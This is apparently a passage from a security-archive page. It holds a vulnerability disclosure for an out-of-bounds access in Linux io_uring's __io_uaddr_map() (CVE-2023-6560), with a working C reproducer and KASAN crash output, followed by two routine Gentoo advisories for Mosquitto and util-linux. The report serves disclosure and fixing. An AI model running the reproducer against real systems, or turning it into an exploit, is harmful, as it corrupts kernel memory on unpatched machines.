instances that are associated with the same head page / folio; it   wouldn't return the same `struct page *` for every subpage.   Every chunk of memory of size `PAGE_SIZE` maps to its own `struct page`.So if this code is presented with a userspace region of the following shape,containing individual 4K pages:[page A][page B][...][page A]then it will accept the region and assume that `page_to_virt(<page A>)`returns the address of a page as big as the entire region. Accesses to thefirst 4KiB of the region would work as intended; but accesses to later partsof the region will be out-of-bounds accesses to unrelated pages.Here's a reproducer that submits a bunch of NOP ops (zeroed sqes) until itoverruns the end of the first sq page:```#define _GNU_SOURCE#include <unistd.h>#include <err.h>#include <stdio.h>#include <sys/mman.h>#include <sys/syscall.h>#include <linux/io_uring.h>#define SYSCHK(x) ({          \\  typeof(x) __res = (x);      \\  if (__res == (typeof(x))-1) \\    err(1, \"SYSCHK(\" #x \")\"); \\  __res;                      \\})#define NUM_SQ_PAGES 4int main(void) {  int memfd_sq = SYSCHK(memfd_create(\"\", 0));  int memfd_cq = SYSCHK(memfd_create(\"\", 0));  SYSCHK(ftruncate(memfd_sq, NUM_SQ_PAGES * 0x1000));  SYSCHK(ftruncate(memfd_cq, NUM_SQ_PAGES * 0x1000));  // sq  void *sq_data = SYSCHK(mmap(NULL, NUM_SQ_PAGES*0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, memfd_sq, 0));  SYSCHK(mmap(sq_data+(NUM_SQ_PAGES-1)*0x1000, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, memfd_sq, 0));  // cq (rings)  void *cq_data = SYSCHK(mmap(NULL, NUM_SQ_PAGES*0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, memfd_cq, 0));  *(volatile unsigned int *)(cq_data+4) = 64 * NUM_SQ_PAGES;  for (int i=1; i<NUM_SQ_PAGES; i++)    SYSCHK(mmap(cq_data+i*0x1000, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, memfd_cq, 0));  struct io_uring_params params = {    .flags = IORING_SETUP_NO_MMAP | IORING_SETUP_NO_SQARRAY /*| IORING_SETUP_CQE32*/,    .sq_off = {      .user_addr = (unsigned long)sq_data    },    .cq_off = {      .user_addr = (unsigned long)cq_data    }  };  int uring_fd = SYSCHK(syscall(__NR_io_uring_setup, /*entries=*/64 * NUM_SQ_PAGES, &params));  printf(\"uring_fd = %d\\", uring_fd);  /* submit nops */  int enter_res = SYSCHK(syscall(__NR_io_uring_enter, uring_fd, 64 * NUM_SQ_PAGES, 0, 0, NULL));  printf(\"enter returned %d\\", enter_res);}```It gives an ASAN splat like this (but note that the splat diagnostic is wrong because ASAN can't detect page OOB access properly):```[   73.380288] ==================================================================[   73.381745] BUG: KASAN: slab-use-after-free in io_submit_sqes+0x223/0xc00[   73.382822] Read of size 1 at addr ffff88810263a000 by task uring-multipage/708[   73.383967] [   73.384240] CPU: 6 PID: 708 Comm: uring-multipage Not tainted 6.7.0-rc2 #357[   73.385316] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014[   73.386778] Call Trace:[   73.387177]  <TASK>[   73.387520]  dump_stack_lvl+0x4a/0x80[   73.388117]  print_report+0xcf/0x670[...][   73.389595]  kasan_report+0xd8/0x110[...][   73.391954]  io_submit_sqes+0x223/0xc00[   73.392570]  __do_sys_io_uring_enter+0x965/0x1200[...][   73.397438]  do_syscall_64+0x46/0xf0[   73.398004]  entry_SYSCALL_64_after_hwframe+0x6e/0x76[   73.398787] RIP: 0033:0x7ff8ed2e7989[   73.399494] Code: 00 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d d7 64 0c 00 f7 d8 64 89 01 48[   73.402164] RSP: 002b:00007fff76dc3598 EFLAGS: 00000202 ORIG_RAX: 00000000000001aa[   73.403277] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff8ed2e7989[   73.404314] RDX: 0000000000000000 RSI: 0000000000000100 RDI: 0000000000000005[   73.411155] RBP: 00007fff76dc3690 R08: 0000000000000000 R09: 0000020000000100[   73.412496] R10: 0000000000000000 R11: 0000000000000202 R12: 000055967f6680a0[   73.417987] R13: 00007fff76dc3770 R14: 0000000000000000 R15: 0000000000000000[   73.419272]  </TASK>[removed irrelevant alloc/free traces of the accessed memory region][   73.449202] [   73.449471] The buggy address belongs to the object at ffff88810263a000[   73.449471]  which belongs to the cache kmalloc-128 of size 128[   73.451228] The buggy address is located 0 bytes inside of[   73.451228]  freed 128-byte region [ffff88810263a000, ffff88810263a080)[   73.453173] [   73.453429] The buggy address belongs to the physical page:[   73.454232] page:000000002be796b3 refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x10263a[   73.455535] head:000000002be796b3 order:1 entire_mapcount:0 nr_pages_mapped:0 pincount:0[   73.456662] flags: 0x200000000000840(slab|head|node=0|zone=2)[   73.457522] page_type: 0xffffffff()[   73.458045] raw: 0200000000000840 ffff8881000428c0 ffffea0004747e80 0000000000000002[   73.459143] raw: 0000000000000000 0000000080200020 00000001ffffffff 0000000000000000[   73.460305] page dumped because: kasan: bad access detected[   73.461091] [   73.461353] Memory state around the buggy address:[   73.462038]  ffff888102639f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00[   73.463058]  ffff888102639f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00[   73.464277] >ffff88810263a000: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb[   73.465289]                    ^[   73.465791]  ffff88810263a080: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc[   73.466795]  ffff88810263a100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb```I'm not sure about the best way to fix it - since the compound page supportcan't actually have worked, as explained above, maybe it's easiest to justdrop support for compound pages? \u03bfr alternatively we could fix that, but sincenobody seems to have used it, that'd maybe be unnecessary complexity...This bug is subject to a 90-day disclosure deadline. If a fix for thisissue is made available to users before the end of the 90-day deadline,this bug report will become public 30 days after the fix was madeavailable. Otherwise, this bug report will become public at the deadline.The scheduled deadline is 2024-02-22.Related CVE Numbers: CVE-2023-6560.Found by: jannh@google.com

io_uring __io_uaddr_map() Dangerous Multi-Page Handling

Gentoo Linux Security Advisory 202401-9 - Multiple vulnerabilities have been found in Eclipse Mosquitto which could result in denial of service. Versions greater than or equal to 2.0.17 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202401-09  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: Low  
    Title: Eclipse Mosquitto: Multiple Vulnerabilities  
     Date: January 07, 2024  
     Bugs: #918540  
       ID: 202401-09

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
========

Multiple vulnerabilities have been found in Eclipse Mosquitto which  
could result in denial of service.

Background  
==========

Eclipse Mosquitto is an open source MQTT v3 broker.

Affected packages  
=================

Package             Vulnerable    Unaffected  
------------------  ------------  ------------  
app-misc/mosquitto  < 2.0.17      >= 2.0.17

Description  
===========

Multiple vulnerabilities have been discovered in Eclipse Mosquitto.  
Please review the CVE identifier referenced below for details.

Impact  
======

Please review the referenced CVE identifiers for details.

Workaround  
==========

There is no known workaround at this time.

Resolution  
==========

All Eclipse Mosquitto users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=app-misc/mosquitto-2.0.17"

References  
==========

[ 1 ] CVE-2023-0809  
      https://nvd.nist.gov/vuln/detail/CVE-2023-0809  
[ 2 ] CVE-2023-3592  
      https://nvd.nist.gov/vuln/detail/CVE-2023-3592  
[ 3 ] CVE-2023-28366  
      https://nvd.nist.gov/vuln/detail/CVE-2023-28366

Availability  
============

This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202401-09

Concerns?  
=========

Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
=======

Copyright 2024 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202401-09

Gentoo Linux Security Advisory 202401-8 - Multiple vulnerabilities have been discovered in util-linux which can lead to denial of service or information disclosure. Versions greater than or equal to 2.37.4 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202401-08  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: Normal  
    Title: util-linux: Multiple Vulnerabilities  
     Date: January 07, 2024  
     Bugs: #806070, #831978, #833365  
       ID: 202401-08

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
========

Multiple vulnerabilities have been discovered in util-linux which can  
lead to denial of service or information disclosure.

Background  
==========

util-linux is a suite of Linux programs including mount and umount,  
programs used to mount and unmount filesystems.

Affected packages  
=================

Package              Vulnerable    Unaffected  
-------------------  ------------  ------------  
sys-apps/util-linux  < 2.37.4      >= 2.37.4

Description  
===========

Multiple vulnerabilities have been discovered in util-linux. Please  
review the CVE identifiers referenced below for details.

Impact  
======

Please review the referenced CVE identifiers for details.

Workaround  
==========

There is no known workaround at this time.

Resolution  
==========

All util-linux users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=sys-apps/util-linux-2.37.4"

References  
==========

[ 1 ] CVE-2021-3995  
      https://nvd.nist.gov/vuln/detail/CVE-2021-3995  
[ 2 ] CVE-2021-3996  
      https://nvd.nist.gov/vuln/detail/CVE-2021-3996  
[ 3 ] CVE-2021-37600  
      https://nvd.nist.gov/vuln/detail/CVE-2021-37600  
[ 4 ] CVE-2022-0563  
      https://nvd.nist.gov/vuln/detail/CVE-2022-0563

Availability  
============

This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202401-08

Concerns?  
=========

Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
=======

Copyright 2024 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Tag

#linux